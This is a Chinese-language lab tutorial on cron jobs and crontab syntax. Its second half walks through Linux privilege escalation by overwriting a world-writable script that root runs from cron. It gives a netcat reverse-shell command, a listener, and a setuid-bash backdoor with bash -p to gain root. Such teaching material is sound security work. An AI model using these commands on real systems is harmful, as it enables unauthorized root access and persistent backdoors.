介绍
在本实验中,我们将学习 Cron Jobs 和 cron 语法,并通过动手练习,你将快速掌握 crontab 的使用方法。此外,我们还将了解如何利用错误的 crontab 配置在 Linux 上进行权限提升。
在本实验中,我们将学习 Cron Jobs 和 cron 语法,并通过动手练习,你将快速掌握 crontab 的使用方法。此外,我们还将了解如何利用错误的 crontab 配置在 Linux 上进行权限提升。
在这一步中,我们将介绍 Cron Jobs 和 cron 语法。
Cron Jobs 是 Linux 系统中的“定时任务”,通常用于调度需要定期执行的命令,例如定期数据备份或缓存清理。它们被称为 Cron Jobs,因为它们使用了 cron
工具(crontab)。
Cron Jobs 是系统管理员最常用的工具之一,它们本身是非常强大的工具。然而,如果“定时任务”被设置为以更高用户权限(例如 root 用户)运行,攻击者可能会利用它们进行权限提升。
crontab 命令使用以下语法:
* * * * * [ user ] File/Command
- - - - -
| | | | |
| | | | +----- 星期几 (0 - 7) (0 = 星期日)
| | | +---------- 月份 (1 - 12)
| | +--------------- 日期 (1 - 31)
| +-------------------- 小时 (0 - 23)
+------------------------- 分钟 (0 - 59)
user
字段是可选的。如果未指定,命令或脚本将以当前用户的权限执行。
请注意,只有 root 用户可以指定以其他用户的权限执行命令或脚本。
例如,如果我们希望每小时输出 Apache 错误日志,可以使用以下语句:
0 * * * * echo /var/log/lastlog
由于 hour
、day
、month
和 week
都设置为 *
,定时任务将在每分钟达到 0 时执行一次,即每小时执行一次。
如果我们需要每两小时的第 15 分钟执行一次命令,可以简单修改如下:
15 */2 * * * echo /var/log/lastlog
为了理解 cron
的用法,我们来看一个示例。
打开终端并导航到 /home/labex/project
目录。然后执行以下命令以初始化实验环境:
./env_setup1.sh
成功初始化后,你将在 labex 用户的主目录中看到 cleanup.py
文件和 trashDirectory
目录。trashDirectory
目录中包含两个文件:error.log
和 readme.txt
。
我们的实验目标如下:使用 crontab
添加一个定时任务,每分钟调用一次 cleanup.py
脚本,以清除 /home/labex/project/trashDirectory
目录中的所有数据。cleanup.py
脚本通过 os.system()
函数调用 rm
系统命令来清除 /home/labex/project/trashDirectory
目录。
接下来,使用以下命令在 crontab 中添加定时任务:
echo "* * * * * root python /home/labex/project/cleanup.py" | sudo tee -a /etc/crontab > /dev/null
上述命令向 crontab 文件中添加了一个定时任务。该任务将 每分钟
执行一次,并且 cleanup.py
脚本将以 root 权限执行。
由于我们的实验机器上默认禁用了 cron 服务,我们需要使用以下命令手动启动它:
sudo service cron start
预期输出:
* Starting periodic command scheduler cron
大约 一分钟后
,如果我们进入 /home/labex/project/trashDirectory
目录并使用 ls
命令,我们将看到目录中的数据已被清除,这表明 cron job 正在正确执行。
在这一步中,我们将学习如何通过覆盖 crontab 调用的脚本来提升权限。
首先,打开终端并导航到 /home/labex/project
目录。然后执行以下命令以初始化实验环境:
cd /home/labex/project
运行脚本以初始化实验环境:
./env_setup2.sh
成功初始化后,使用以下命令查看主机上的定时任务:
cat /etc/crontab
文件末尾的一个定时任务引起了我们的注意:系统每分钟以 root 权限执行一个 /home/labex/project/cleanup.py
脚本,这是我们上一步中使用的文件。
接下来,让我们检查脚本的权限:
ls -al /home/labex/project/cleanup.py
我们注意到 cleanup.py
的文件权限设置存在风险:其他用户也具有写(w
)权限,这意味着我们可以编辑和修改 cleanup.py
的内容!
由于 cleanup.py
是以 root 权限执行的,我们可以使用反向 shell 来获取 root 权限。
通过修改 cleanup.py
脚本,使用 nc.traditional
将反向 shell 发送到本地端口 4444:
...
os.system("nc.traditional 127.0.0.1 4444 -e /bin/bash")
...
保存文件后,更改将在一分钟后生效。
我们使用 nc.traditional
的原因是默认的 nc
命令不支持 -e
选项。
然后,执行以下命令以监听本地端口 4444:
nc -lnvp 4444
预期输出:
Listening on 0.0.0.0 4444
等待片刻后,我们成功接收到一个具有 root 权限的反向 shell。
Connection received on 127.0.0.1 45480
尝试执行 whoami
命令以检查当前用户:
whoami
root
你还记得我们之前讨论过的 SUID 权限提升吗?我们也可以使用 cleanup.py
脚本来修改某些可执行文件的权限,使其具有 setuid 位,从而利用它们进行 SUID 权限提升,例如为 bash 设置 setuid 位。
在上一步之后,你可能仍然处于 root shell 中。对于这一步,你需要退出 root shell 并重新以 labex
用户登录,执行以下命令:
exit
或者你可以打开一个新的终端并以 labex
用户登录。
然后,执行以下命令导航到 /home/labex/project
目录:
cd /home/labex/project
目前,/bin/bash
没有设置 setuid 位:
ls -l /bin/bash
类似于上一步,将 cleanup.py
脚本执行的命令修改为以下命令:
...
os.system("chmod +s /bin/bash")
...
过一段时间后,如果我们检查 /bin/bash
,会发现它现在设置了 setuid 位,表明定时任务已成功执行:
ls -l /bin/bash
预期输出:
-rwsr-sr-x 1 root root 1396520 Jan 7 2022 /bin/bash
如上所示,我们现在可以使用 bash -p
来获取 root 权限。
labex:project/ $ bash -p
bash-5.1## whoami
root
在 /root
目录中创建一个名为 success.txt
的文件,以表示你已成功提升权限:
echo "Congratulations! You have successfully escalated privileges to root." > /root/success.txt
在本实验中,我们学习了 Cron Jobs 和 cron 语法,并通过动手练习掌握了 crontab 的使用方法。最后,我们利用错误的 crontab 配置成功将 shell 权限提升至 root。